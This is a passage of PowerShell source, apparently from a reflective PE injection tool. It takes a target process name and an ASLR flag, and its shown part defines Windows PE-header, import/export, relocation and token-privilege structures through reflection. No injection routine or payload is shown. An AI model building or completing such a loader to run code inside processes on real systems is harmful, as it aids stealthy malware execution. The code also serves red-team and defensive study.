$ProcName,\n\n        [Parameter(Position = 4, Mandatory = $true)]\n        [Bool]\n        $ForceASLR\n    )\n\n    ###################################\n    ##########  Win32 Stuff  ##########\n    ###################################\n    Function Get-Win32Types\n    {\n        $Win32Types = New-Object System.Object\n\n        #Define all the structures/enums that will be used\n        #   This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html\n        $Domain = [AppDomain]::CurrentDomain\n        $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')\n        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)\n        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)\n        $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]\n\n\n        ############    ENUM    ############\n        #Enum MachineType\n        $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])\n        $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null\n        $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null\n        $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null\n        $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null\n        $MachineType = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType\n\n        #Enum MagicType\n        $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])\n        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null\n        $MagicType = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType\n\n        #Enum SubSystemType\n        $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null\n        $SubSystemType = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType\n\n        #Enum DllCharacteristicsType\n        $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])\n        $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null\n        $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null\n        $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null\n        $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null\n        $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null\n        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null\n        $DllCharacteristicsType = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType\n\n        ###########    STRUCT    ###########\n        #Struct IMAGE_DATA_DIRECTORY\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)\n        ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null\n        ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null\n        $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY\n\n        #Struct IMAGE_FILE_HEADER\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)\n        $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null\n        $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER\n\n        #Struct IMAGE_OPTIONAL_HEADER64\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)\n        ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null\n        ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null\n        ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null\n        ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null\n        ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null\n        ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null\n        ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null\n        ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null\n        ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null\n        ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null\n        ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null\n        ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null\n        ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null\n        ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null\n        ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null\n        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null\n        ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null\n        ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null\n        ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null\n        ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null\n        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null\n        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null\n        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null\n        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null\n        ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null\n        ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null\n        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null\n        ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null\n        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null\n        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null\n        ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null\n        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null\n        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null\n        ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null\n        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null\n        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null\n        $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64\n\n        #Struct IMAGE_OPTIONAL_HEADER32\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)\n        ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null\n        ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null\n        ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null\n        ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null\n        ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null\n        ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null\n        ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null\n        ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null\n        ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null\n        ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null\n        ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null\n        ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null\n        ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null\n        ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null\n        ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null\n        ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null\n        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null\n        ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null\n        ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null\n        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null\n        ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null\n        ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null\n        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null\n        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null\n        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null\n        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null\n        ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null\n        ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null\n        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null\n        ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null\n        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null\n        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null\n        ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null\n        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null\n        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null\n        ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null\n        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null\n        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null\n        $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32\n\n        #Struct IMAGE_NT_HEADERS64\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)\n        $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null\n        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null\n        $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64\n\n        #Struct IMAGE_NT_HEADERS32\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)\n        $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null\n        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null\n        $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32\n\n        #Struct IMAGE_DOS_HEADER\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)\n        $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null\n\n        $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')\n        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray\n        $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))\n        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))\n        $e_resField.SetCustomAttribute($AttribBuilder)\n\n        $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null\n\n        $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')\n        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray\n        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))\n        $e_res2Field.SetCustomAttribute($AttribBuilder)\n\n        $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null\n        $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER\n\n        #Struct IMAGE_SECTION_HEADER\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)\n\n        $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')\n        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray\n        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))\n        $nameField.SetCustomAttribute($AttribBuilder)\n\n        $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null\n        $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER\n\n        #Struct IMAGE_BASE_RELOCATION\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)\n        $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null\n        $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION\n\n        #Struct IMAGE_IMPORT_DESCRIPTOR\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)\n        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null\n        $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR\n\n        #Struct IMAGE_EXPORT_DIRECTORY\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)\n        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null\n        $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null\n        $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY\n\n        #Struct LUID\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)\n        $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null\n        $LUID = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID\n\n        #Struct LUID_AND_ATTRIBUTES\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)\n        $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null\n        $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null\n        $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES\n\n        #Struct TOKEN_PRIVILEGES\n        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'\n        $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)\n        $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null\n        $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null\n        $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()\n        $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES\n\n        return $Win32Types\n    }\n\n    Function Get-Win32Constants\n    {\n        $Win32Constants = New-Object System.Object\n\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name 